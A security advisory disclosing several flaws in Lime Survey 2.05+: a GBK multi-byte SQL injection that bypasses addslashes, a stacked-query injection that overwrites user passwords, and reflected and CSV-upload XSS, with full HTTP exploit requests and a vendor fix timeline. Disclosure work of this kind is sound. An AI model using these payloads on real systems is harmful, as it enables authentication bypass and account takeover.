Lime Survey 2.05+ Build 140618 XSS / SQL Injection

`Lime Survey Multiple Vulnerabilities  
=======================================================================  
  
[ADVISORY INFORMATION]  
Title: Lime Survey Multiple Vulnerabilities  
Discovery date: 02/07/2014  
Release date: 03/07/2014  
Vendor Homepage: www.limesurvey.org  
Version: Lime Survey 2.05+ Build 140618  
Tested with: MS SQL Server 2008  
Credits: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)  
  
[VULNERABILITY INFORMATION]  
Class: SQL Injection + XSS  
Category: Web  
  
[AFFECTED PRODUCTS]  
This security vulnerability affects:  
  
* Lime Survey 2.05+ Build 140618  
  
[VULNERABILITY DETAILS]  
Multi-Byte SQL Injection  
------------------------  
  
As shown in frontend_helper.php:  
  
******************************************************************  
function loadanswers()  
{  
global $surveyid;  
global $thissurvey, $thisstep;  
global $clienttoken;  
$clang = Yii::app()->lang;  
  
$scid=returnGlobal('scid',true);  
if (Yii::app()->request->getParam('loadall') == "reload")  
{  
$query = "SELECT * FROM {{saved_control}} INNER JOIN {$thissurvey['tablename']}  
ON {{saved_control}}.srid = {$thissurvey['tablename']}.id  
WHERE {{saved_control}}.sid=$surveyid\n";  
if (isset($scid)) //Would only come from email  
  
{  
$query .= "AND {{saved_control}}.scid={$scid}\n";  
}  
$query .="AND {{saved_control}}.identifier = '".autoEscape($_SESSION['survey_'.$surveyid]['holdname'])."' ";  
******************************************************************  
  
the function autoEscape is applied on the holdname parameter, this function is defined in the file common_helper.php  
  
******************************************************************  
function autoEscape($str) {  
if (!get_magic_quotes_gpc()) {  
return addslashes ($str);  
}  
return $str;  
}  
******************************************************************  
  
addslashes can be bypassed using the GBK charset. So sending this request:  
  
******************************************************************  
POST /limesurvey/index.php?r=survey/index HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/limesurvey/index.php?r=survey/index  
Cookie: PHPSESSID=as31m846sa46p2uqso1eopc587; YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 125  
  
YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2&loadname=chr(0x87) . "' OR 1=1 -- ";&loadpass=test&loadsecurity=89&sid=713149&loadall=reload  
*******************************************************************  
  
it is possible to bypass imcomplete survey authentication.  
  
Stacked Query SQL Injection  
---------------------------  
  
Sending this request:  
  
*******************************************************************  
POST /limesurvey/index.php?r=admin/participants/sa/getParticipants_json HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://localhost/limesurvey/index.php?r=admin/participants/sa/displayParticipants  
Content-Length: 141  
Cookie: PHPSESSID=as31m846sa46p2uqso1eopc587; YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2&searchcondition=&_search=false&nd=1404300424270&rows=25&page=1&sidx=lastname]; update lime_users set password='880e042d271f08cd3c456f28704702a6b0ad1c7b442f257bf40578112c8e6ffb';+--+P&sord=asc  
********************************************************************  
  
it is possible to change the users's password.  
  
Reflected XSS  
-------------  
GET /limesurvey/index.php?r=admin%2fparticipants%2fsa%2fgetAttribute_json%2fpid%2f9b0039e2-b346-473d-901f-7010d2bc88c16c2d4<img%20src%3da%20onerror%3dalert(1)>9b6d6fe2f71&YII_CSRF_TOKEN=76fa68bdfde6a997ee64f01726234fd7897e2289&_search=false&nd=140420566784  
GET /limesurvey/index.php?r=admin/globalsettings&sa=a"><script>alert(1)</script>a  
  
XSS via CSV  
-----------  
  
it is possible to create a .csv file with inside <script>alert(2)</script>,0 and and upload it with the functionality "Import CSV".  
  
  
[DISCLOSURE TIME-LINE]  
* 02/07/2014 - Initial vendor contact.  
  
* 02/07/2014 - Lime Survey Team confirmed the issue is a new security vulnerability.  
  
* 02/07/2014 - Vendor has fixed this vulnerability on Git.  
  
* 03/07/2014 - Public disclosure.  
  
[DISCLAIMER]  
The author is not responsible for the misuse of the information provided in  
this security advisory. The advisory is a service to the professional security  
community. There are NO WARRANTIES with regard to this information. Any  
application or distribution of this information constitutes acceptance AS IS,  
at the user's own risk. This information is subject to change without notice.  
`